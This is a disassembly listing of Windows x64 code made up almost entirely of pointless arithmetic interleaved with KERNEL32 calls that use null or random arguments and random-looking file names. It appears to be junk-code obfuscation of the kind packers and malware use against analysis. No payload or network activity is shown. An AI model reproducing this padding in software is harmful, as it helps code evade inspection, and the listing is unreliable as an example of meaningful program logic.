lea rdx, [rsp + 0x42db8]
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a58], eax
lea rax, [rsp + 0x59d0]
mov qword [rsp + 0x144b8], rax
mov rax, qword [rsp + 0x13fd8]
mov rcx, qword [rsp + 0x14210]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12f68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14338]
mov rcx, qword [rsp + 0x13118]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8044], eax
mov rax, qword [rsp + 0x13628]
mov ecx, dword [rsp + 0x9ac8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x86e8], eax
mov eax, dword [rsp + 0x9a70]
mov rcx, qword [rsp + 0x13880]
mov qword [rsp + 0x144c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x144c0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13908]
mov dword [rcx], eax
lea rax, [0x140362458]
mov qword [rsp + 0x144c8], rax
mov rax, qword [rsp + 0x13918]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x73f]
sar eax, cl
mov rcx, qword [0x140369d40]
mov byte [rcx], al
mov eax, dword [rsp + 0x73a0]
mov ecx, dword [rsp + 0x7254]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12cf8]
mov dword [rcx], eax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x4b010]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9e94], eax
lea rax, [rsp + 0x9c6c]
mov qword [rsp + 0x144d0], rax
mov rax, qword [rsp + 0x13880]
mov rcx, qword [rsp + 0x13968]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13a18]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9a9c]
mov dword [rsp + 0x9e98], eax
movzx eax, word [0x140369ea8]
mov rcx, qword [rsp + 0x139b0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x132b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x132a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x742]
imul eax, ecx
mov byte [rsp + 0x750], al
lea rax, [rsp + 0x28b4]
mov qword [rsp + 0x144d8], rax
mov rax, qword [rsp + 0x139f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x281]
sub eax, ecx
mov rcx, qword [rsp + 0x142a8]
mov byte [rcx], al
lea rax, [rsp + 0x954c]
mov qword [0x140369f30], rax
mov eax, dword [rsp + 0x9c50]
mov dword [rsp + 0x9e9c], eax
movzx eax, word [rsp + 0x2bf0]
movzx ecx, word [rsp + 0x189c]
and eax, ecx
mov rcx, qword [rsp + 0x136d8]
mov word [rcx], ax
mov rcx, qword [rsp + 0x133e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9a58], eax
movzx eax, byte [rsp + 0x76a]
movzx ecx, byte [rsp + 0x74d]
add eax, ecx
mov rcx, qword [rsp + 0x13400]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a08], eax
lea rax, [rsp + 0x8044]
mov qword [rsp + 0x144e0], rax
mov rax, qword [rsp + 0x130f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fc4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b6c], eax
mov rcx, qword [rsp + 0x14018]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x9db8]
mov qword [rsp + 0x144e8], rax
mov rax, qword [rsp + 0x13160]
mov rcx, qword [rsp + 0x14078]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x84ac], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x2c60]
movzx ecx, word [rsp + 0x2b8c]
sub eax, ecx
mov word [rsp + 0x26d0], ax
lea rcx, [rsp + 0x4ba30]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x9dc0], eax
mov rax, qword [rsp + 0x13990]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x75d]
sub eax, ecx
mov byte [0x1403525af], al
lea rax, [rsp + 0x9dec]
mov qword [rsp + 0x144f0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov eax, dword [rsp + 0x9d80]
mov ecx, dword [rsp + 0x9bbc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b00]
mov dword [rcx], eax
lea rax, [rsp + 0x9c6c]
mov qword [rsp + 0x144f8], rax
mov eax, dword [rsp + 0x9c44]
mov rcx, qword [rsp + 0x13d98]
mov qword [rsp + 0x14500], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14500]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9d08], eax
mov rax, qword [rsp + 0x14180]
mov eax, dword [rax]
mov ecx, dword [0x140369bec]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x139a0]
mov dword [rcx], eax
lea rax, [rsp + 0x1938]
mov qword [rsp + 0x14508], rax
mov rax, qword [rsp + 0x14328]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x459]
shl eax, cl
mov rcx, qword [rsp + 0x13550]
mov byte [rcx], al
lea rax, [rsp + 0x72e]
mov qword [rsp + 0x14510], rax
lea rax, [rsp + 0x2bf4]
mov qword [0x140369f38], rax
mov rax, qword [rsp + 0x13920]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7770]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ac4], eax
mov rax, qword [0x140369c00]
mov rcx, qword [rsp + 0x13338]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9028], eax
mov rax, qword [rsp + 0x13590]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x745]
sub eax, ecx
mov rcx, qword [rsp + 0x13528]
mov byte [rcx], al
movzx eax, word [rsp + 0x2bc4]
mov rcx, qword [rsp + 0x13c80]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2bc0], ax
mov eax, dword [rsp + 0x9e9c]
mov dword [rsp + 0x9ea0], eax
mov eax, dword [rsp + 0x9db4]
mov ecx, dword [rsp + 0x9ba8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14450]
mov dword [rcx], eax
lea rax, [rsp + 0x9c20]
mov qword [rsp + 0x14518], rax
mov rax, qword [rsp + 0x13860]
mov rcx, qword [rsp + 0x131c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x144d0]
mov dword [rcx], eax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x4aa70]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9ea4], eax
mov rax, qword [rsp + 0x13960]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2234]
sub eax, ecx
mov rcx, qword [0x140369bf8]
mov word [rcx], ax
mov rax, qword [rsp + 0x14090]
movzx eax, byte [rax]
movzx ecx, byte [0x140363f5c]
sub eax, ecx
mov byte [rsp + 0x72d], al
mov rcx, qword [rsp + 0x12f50]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9ba4], eax
mov rax, qword [rsp + 0x14428]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e2c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5b48], eax
mov eax, dword [0x140369c28]
mov ecx, dword [rsp + 0x86dc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13df8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13bb0]
movzx eax, byte [rax]
mov byte [rsp + 0x76c], al
movsx eax, word [rsp + 0x2c70]
movsx ecx, word [rsp + 0x2bdc]
add eax, ecx
mov rcx, qword [rsp + 0x136a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x12e80]
movzx eax, word [rax]
movzx ecx, word [0x140369cb8]
add eax, ecx
mov rcx, qword [rsp + 0x13058]
mov word [rcx], ax
lea rax, [rsp + 0x49c]
mov qword [rsp + 0x14520], rax
mov eax, dword [rsp + 0x8a60]
mov ecx, dword [rsp + 0x9df0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13b38]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9bac]
shl eax, cl
mov rcx, qword [0x140369d70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f80]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13eb0]
mov qword [rsp + 0x14528], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14528]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x69b4], eax
mov rax, qword [rsp + 0x13ea8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9998]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d70], eax
mov rax, qword [rsp + 0x13f48]
mov eax, dword [rax]
mov dword [rsp + 0x9ea8], eax
mov rax, qword [rsp + 0x13930]
movzx eax, byte [rax]
imul eax, eax, 0x68
mov rcx, qword [rsp + 0x13170]
mov byte [rcx], al
mov rax, qword [rsp + 0x130a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x140c8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13be0]
mov word [rcx], ax
lea rax, [rsp + 0x9c68]
mov qword [rsp + 0x14530], rax
mov eax, dword [rsp + 0x9ba0]
mov ecx, dword [rsp + 0x709c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x87e8], eax
mov eax, dword [rsp + 0x6700]
mov dword [rsp + 0x9eac], eax
mov rax, qword [rsp + 0x13d40]
mov eax, dword [rax]
mov ecx, dword [0x140369c28]
add ecx, eax
mov eax, ecx
mov dword [0x1403624c4], eax
mov rax, qword [rsp + 0x12e10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13110]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2c2c], ax
mov rax, qword [rsp + 0x12fe0]
movzx eax, byte [rax]
movzx ecx, byte [0x140363f0e]
sub eax, ecx
mov byte [rsp + 0x74c], al
mov rax, qword [rsp + 0x137e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x130f0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1304], ax
movsx eax, byte [rsp + 0x72c]
mov rcx, qword [rsp + 0x13390]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14468]
mov byte [rcx], al
lea rax, [rsp + 0x5284]
mov qword [rsp + 0x14538], rax
mov eax, dword [rsp + 0x9d4c]
mov ecx, dword [rsp + 0x9db0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c1c], eax
movzx eax, byte [rsp + 0x243]
movzx ecx, byte [0x140363efe]
sub eax, ecx
mov byte [rsp + 0x2e0], al
mov rax, qword [rsp + 0x140e8]
movzx eax, word [rax]
mov word [rsp + 0x2c88], ax
mov rax, qword [rsp + 0x13fa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e8c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [0x140369ef8]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov eax, dword [0x1403624a8]
movzx ecx, al
mov eax, dword [rsp + 0x5b2c]
shl eax, cl
mov rcx, qword [rsp + 0x135d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13df8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7534]
sar eax, cl
mov dword [rsp + 0x5db8], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x14540], rax
mov eax, dword [rsp + 0x97b4]
mov ecx, dword [rsp + 0x57fc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x131a0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1878]
imul eax, eax, 0xcc1
mov rcx, qword [rsp + 0x13248]
mov word [rcx], ax
lea rax, [rsp + 0x10e]
mov qword [rsp + 0x14548], rax
mov rax, qword [rsp + 0x141b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69b4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14178]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14310]
mov eax, dword [rax]
mov dword [rsp + 0x9eb0], eax
mov eax, dword [rsp + 0x9db4]
mov ecx, dword [rsp + 0x9dd8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x57fc], eax
mov dword [rsp + 0x20], 0x3830
mov r9d, 0x23a1
mov r8d, 0x661
mov edx, 0x2ae0
mov rcx, qword [rsp + 0x13f20]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9b34], eax
lea rax, [rsp + 0x9b30]
mov qword [0x140369f40], rax
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x4aef0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9a20], eax
mov eax, dword [0x140362498]
mov dword [rsp + 0x9eb4], eax
mov rax, qword [rsp + 0x13378]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x136a0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13d58]
mov word [rcx], ax
movsx eax, byte [rsp + 0x518]
movsx ecx, byte [rsp + 0x743]
and eax, ecx
mov byte [rsp + 0x748], al
mov rax, qword [0x140369db0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x746]
add eax, ecx
mov byte [rsp + 0x441], al
movzx eax, word [rsp + 0x1ab8]
movzx ecx, word [rsp + 0x2324]
or eax, ecx
mov word [rsp + 0x2740], ax
mov rax, qword [rsp + 0x13d68]
mov eax, dword [rax]
mov dword [rsp + 0x9eb8], eax
mov eax, dword [rsp + 0x9e9c]
mov ecx, dword [rsp + 0x9b44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9dd0], eax
mov rax, qword [rsp + 0x13288]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x703]
add eax, ecx
mov rcx, qword [rsp + 0x13f90]
mov byte [rcx], al
lea rax, [rsp + 0x2c7c]
mov qword [0x140369f48], rax
mov rax, qword [rsp + 0x14498]
mov eax, dword [rax]
mov ecx, dword [0x140369b98]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x820c], eax
mov rax, qword [rsp + 0x12df0]
mov rcx, qword [rsp + 0x13ea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14530]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.KaJbJUHA0DFZ2Tw_sPrBeXXbLzY
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14550], rax
mov eax, dword [rsp + 0x9acc]
mov dword [rsp + 0x9ebc], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9d3c], eax
lea rdx, [rsp + 0x42cd8]
mov rcx, qword [rsp + 0x143f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a60], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x14558], rax
mov rax, qword [rsp + 0x138a0]
mov rcx, qword [rsp + 0x13790]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9df0], eax
mov rax, qword [rsp + 0x14230]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x139d0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x737], al
lea rax, [rsp + 0x1f38]
mov qword [rsp + 0x14560], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [rsp + 0x143b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x139b8]
mov qword [rsp + 0x14568], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14568]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9c90], eax
mov eax, dword [rsp + 0x5b2c]
mov dword [rsp + 0x9ec0], eax
mov rax, qword [rsp + 0x13330]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c54]
or eax, ecx
mov rcx, qword [0x140369f18]
mov word [rcx], ax
movsx eax, byte [rsp + 0x519]
mov rcx, qword [rsp + 0x135a8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x761], al
lea rax, [rsp + 0x288c]
mov qword [rsp + 0x14570], rax
mov rax, qword [rsp + 0x13da0]
movzx eax, byte [rax]
movzx ecx, byte [0x140363edf]
sub eax, ecx
mov rcx, qword [rsp + 0x13ec0]
mov byte [rcx], al
mov rax, qword [rsp + 0x144b8]
mov rcx, qword [rsp + 0x14440]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9db4], eax
mov edx, 0x171e
mov rcx, qword [rsp + 0x13290]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9ab8], eax
lea rdx, [rsp + 0x42ed0]
mov rcx, qword [rsp + 0x132f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9ec4], eax
mov dword [rsp + 0x20], 0x244b
mov r9d, 0x391b
mov r8d, 0x26c6
mov edx, 0x30d6
mov rcx, qword [rsp + 0x14170]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x9af8], eax
mov rax, qword [rsp + 0x13af0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x91dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9708], eax
lea rdx, [rsp + 0x42bf8]
mov rcx, qword [rsp + 0x12c88]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9ec8], eax
mov rax, qword [rsp + 0x14370]
mov rcx, qword [rsp + 0x13e20]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x132b8]
mov dword [rcx], eax
lea rax, [rsp + 0x9198]
mov qword [rsp + 0x14578], rax
mov edx, 0xc09
mov rcx, qword [rsp + 0x12f98]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9cf8], eax
mov rax, qword [rsp + 0x13f58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x96d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x92e8], eax
mov rax, qword [rsp + 0x13a88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x243]
or eax, ecx
mov rcx, qword [rsp + 0x13200]
mov byte [rcx], al
lea rax, [rsp + 0x2c00]
mov qword [0x140369f50], rax
lea rax, [rsp + 0x9960]
mov qword [rsp + 0x14580], rax
mov rax, qword [rsp + 0x13b28]
mov rcx, qword [rsp + 0x13320]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x141c0]
mov dword [rcx], eax
lea rax, [rsp + 0x9b00]
mov qword [rsp + 0x14588], rax
mov rax, qword [rsp + 0x13d38]
mov ecx, dword [rsp + 0x8a60]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5330], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x14590], rax
movzx eax, word [rsp + 0x2324]
movzx ecx, word [rsp + 0x2a2c]
add eax, ecx
mov word [rsp + 0x2bf4], ax
lea rax, [rsp + 0x630]
mov qword [rsp + 0x14598], rax
mov rax, qword [rsp + 0x14120]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x73c]
shl eax, cl
mov rcx, qword [rsp + 0x135a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13c38]
movzx eax, word [rax]
mov word [rsp + 0x2c8c], ax
mov rax, qword [rsp + 0x14058]
mov ecx, dword [rsp + 0x9b48]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x140369e60], eax
mov eax, dword [rsp + 0x5b9c]
mov rcx, qword [rsp + 0x136d0]
mov qword [rsp + 0x145a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x145a0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x132a8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x49b]
movzx ecx, byte [rsp + 0x708]
or eax, ecx
mov byte [rsp + 0x2e7], al
mov rcx, qword [rsp + 0x14140]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x2bec]
mov qword [rsp + 0x145a8], rax
mov rax, qword [rsp + 0x141c0]
mov ecx, dword [rsp + 0x9ce8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13ba0]
mov dword [rcx], eax
lea rax, [rsp + 0x73a0]
mov qword [rsp + 0x145b0], rax
mov eax, dword [rsp + 0x9c74]
mov ecx, dword [rsp + 0x526c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f60]
mov ecx, dword [rsp + 0x9cc0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9888], eax
mov rax, qword [rsp + 0x13930]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12fe0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x243], al
lea rax, [rsp + 0x1878]
mov qword [0x140369f58], rax
mov rcx, qword [rsp + 0x13078]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x99b8]
mov ecx, dword [rsp + 0x9ba8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x133c0]
mov dword [rcx], eax
lea rax, [rsp + 0x9d44]
mov qword [rsp + 0x145b8], rax
mov rax, qword [rsp + 0x141c0]
mov ecx, dword [rsp + 0x8cfc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9d14], eax
lea rax, [0x14036249c]
mov qword [rsp + 0x145c0], rax
mov rax, qword [rsp + 0x13c78]
mov rcx, qword [rsp + 0x145b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9c20], eax
mov rax, qword [rsp + 0x139c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x71b]
or eax, ecx
mov rcx, qword [rsp + 0x13550]
mov byte [rcx], al
lea rcx, [rsp + 0x4b7f0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x9b34], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9ecc], eax
movzx eax, word [rsp + 0x2c64]
mov word [rsp + 0x2c90], ax
mov rax, qword [rsp + 0x14168]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2324]
imul eax, ecx
mov rcx, qword [rsp + 0x13be0]
mov word [rcx], ax
mov rax, qword [rsp + 0x14520]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x49b]
sub eax, ecx
mov byte [0x140363f0d], al
lea rax, [0x140369b78]
mov qword [rsp + 0x145c8], rax
mov rax, qword [rsp + 0x13ab0]
mov ecx, dword [rsp + 0x9e2c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9010], eax
movzx eax, byte [rsp + 0x716]
mov rcx, qword [rsp + 0x13a90]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x74f], al
mov rcx, qword [rsp + 0x13ca0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov edx, 0x9ac
mov rcx, qword [rsp + 0x13618]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9a08], eax
lea rax, [0x140369cb8]
mov qword [rsp + 0x145d0], rax
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13660]
mov qword [rsp + 0x145d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x145d8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9dd4], eax
lea rax, [rsp + 0x8214]
mov qword [rsp + 0x145e0], rax
mov eax, dword [rsp + 0x9d84]
mov ecx, dword [0x140369f28]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14458]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7c50]
mov ecx, dword [rsp + 0x5c30]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14028]
mov dword [rcx], eax
lea rax, [rsp + 0x26d0]
mov qword [0x140369f60], rax
lea rdx, [rsp + 0x42ca0]
mov rcx, qword [rsp + 0x132f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9ed0], eax
lea rax, [rsp + 0x72d]
mov qword [rsp + 0x145e8], rax
mov rax, qword [rsp + 0x140d0]
mov rcx, qword [rsp + 0x14198]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9dd8], eax
lea rax, [rsp + 0x5db8]
mov qword [rsp + 0x145f0], rax
movsx eax, word [rsp + 0x2008]
mov rcx, qword [rsp + 0x13740]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c20], ax
lea rax, [rsp + 0x12c]
mov qword [rsp + 0x145f8], rax
movzx eax, word [rsp + 0x204c]
movzx ecx, word [rsp + 0x280c]
and eax, ecx
mov word [rsp + 0x2668], ax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x4ba30]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9a44], eax
movzx eax, byte [rsp + 0x739]
movzx ecx, byte [0x1403525af]
add eax, ecx
mov rcx, qword [rsp + 0x134c8]
mov byte [rcx], al
lea rax, [rsp + 0x709c]
mov qword [rsp + 0x14600], rax
mov eax, dword [rsp + 0x9cf0]
mov ecx, dword [rsp + 0x9c88]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x140369f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x132d0]
mov rcx, qword [rsp + 0x13cf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x133e0]
mov dword [rcx], eax
lea rax, [rsp + 0x9eb8]
mov qword [rsp + 0x14608], rax
mov rax, qword [rsp + 0x14188]
mov ecx, dword [rsp + 0x9c64]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14138]
mov dword [rcx], eax
mov rax, qword [rsp + 0x130d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13278]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x74f], al
mov rax, qword [rsp + 0x13728]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b88]
or eax, ecx
mov word [rsp + 0x26fc], ax
mov rax, qword [rsp + 0x14310]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12ee8]
mov qword [rsp + 0x14610], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14610]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x13118]
mov dword [rcx], eax
lea rax, [rsp + 0x9e8c]
mov qword [rsp + 0x14618], rax
mov eax, dword [rsp + 0x751c]
mov rcx, qword [rsp + 0x134c0]
mov qword [rsp + 0x14620], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14620]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x136c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x137f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x86e8]
xor ecx, eax
mov eax, ecx
mov dword [0x140369be8], eax
mov rax, qword [rsp + 0x137d0]
movzx eax, word [rax]
cdq
mov ecx, 0xdc2
idiv ecx
mov word [rsp + 0x2b78], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9e74], eax
movzx eax, byte [rsp + 0x337]
mov byte [rsp + 0x76d], al
movsx eax, byte [rsp + 0x519]
mov rcx, qword [0x140369ca8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2d1], al
lea rax, [rsp + 0x2ba0]
mov qword [rsp + 0x14628], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.dMUvQmOtC4pCYA0H5tuktgU2WFa40w
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14630], rax
mov rax, qword [rsp + 0x144b8]
mov ecx, dword [rsp + 0x5414]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13fc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x144a8]
mov eax, dword [rax]
mov dword [rsp + 0x9ed4], eax
movzx eax, word [rsp + 0x2740]
mov rcx, qword [rsp + 0x13610]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14168]
mov word [rcx], ax
